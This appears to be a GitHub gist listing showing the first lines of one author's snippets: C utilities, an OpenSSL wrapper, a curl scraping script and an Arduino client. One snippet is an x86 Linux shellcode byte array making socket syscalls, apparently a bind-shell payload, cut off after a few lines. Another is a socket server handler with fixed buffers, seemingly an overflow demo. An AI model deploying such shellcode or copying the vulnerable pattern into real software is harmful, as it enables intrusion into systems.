This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /*! | |
| * @file libxutils/examples/xjson.c | |
| * | |
| * This source is part of "libxutils" project | |
| * 2019-2021 Sun Dro (f4tb0y@protonmail.com) | |
| * | |
| * @brief Parse, lint and minify json using xjson library. | |
| */ | |
| #include <xutils/xstd.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * xssl.hpp | |
| * | |
| * Copyleft (C) 2020 Sun Dro (f4tb0y@protonmail.com) | |
| * OpenSSL server/client implementation example for C++ | |
| */ | |
| #ifndef __CXXUTILS_XSSL_H__ | |
| #define __CXXUTILS_XSSL_H__ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| intervalSec=10 | |
| oldValue=0 | |
| while [ true ] | |
| do | |
| newValue=$(curl https://stopcov.ge|grep "დადასტურებული"|cut -d ">" -f 3|cut -d "<" -f 1) | |
| if [ $oldValue != $newValue ] | |
| then | |
| notify-send "Cases in Georgia:" $newValue |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * numbers.c | |
| * | |
| * Copyleft (C) 2018 Sun Dro (a.k.a. kala13x) | |
| * | |
| * This is the CLI client for nomrebi.com web site. | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * Recursively remove directory with the given path. | |
| * | |
| * Copyright (c) 2015 Sun Dro (a.k.a. 7th Ghost) | |
| * Web: http://off-sec.com/ ; E-Mail: kala0x13@gmail.com | |
| * | |
| * This is free software; you can redistribute it and/or | |
| * modify it under the terms of the GNU Lesser General Public | |
| * License as published by the Free Software Foundation; either | |
| * version 3 of the License, or (at your option) any later version. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * strtoken.c | |
| * | |
| * Copyleft (C) 2015 Sun Dro (a.k.a. kala13x) | |
| * | |
| * This source is thread safe alternative of the strtok(). | |
| * See usage of the get_token() below at main() function. | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * quad-equatin.c | |
| * | |
| * Copyleft (C) 2013 Sun Dro | |
| * | |
| * Simple app to solve quadratic equation | |
| */ | |
| #include <stdio.h> | |
| #include <stdlib.h> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* ============================================ | |
| Desc: WebClient for arduino Ethernet Shield | |
| Date: 03.03.2015 - kala13x (a.k.a 7th Ghost) | |
| Site: http://off-sec.com/ | |
| ============================================ */ | |
| #include <SPI.h> | |
| #include <Ethernet.h> | |
| // MAC address for controller |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <netdb.h> | |
| #include <netinet/in.h> | |
| char shellcode[] = | |
| "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" | |
| "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" | |
| "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0" | |
| "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd" | |
| "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #include <stdio.h> | |
| #include <netdb.h> | |
| #include <netinet/in.h> | |
| #define BUFFER_SIZE 1024 | |
| #define NAME_SIZE 2048 | |
| int handling(int c) | |
| { | |
| char buffer[BUFFER_SIZE], name[NAME_SIZE]; |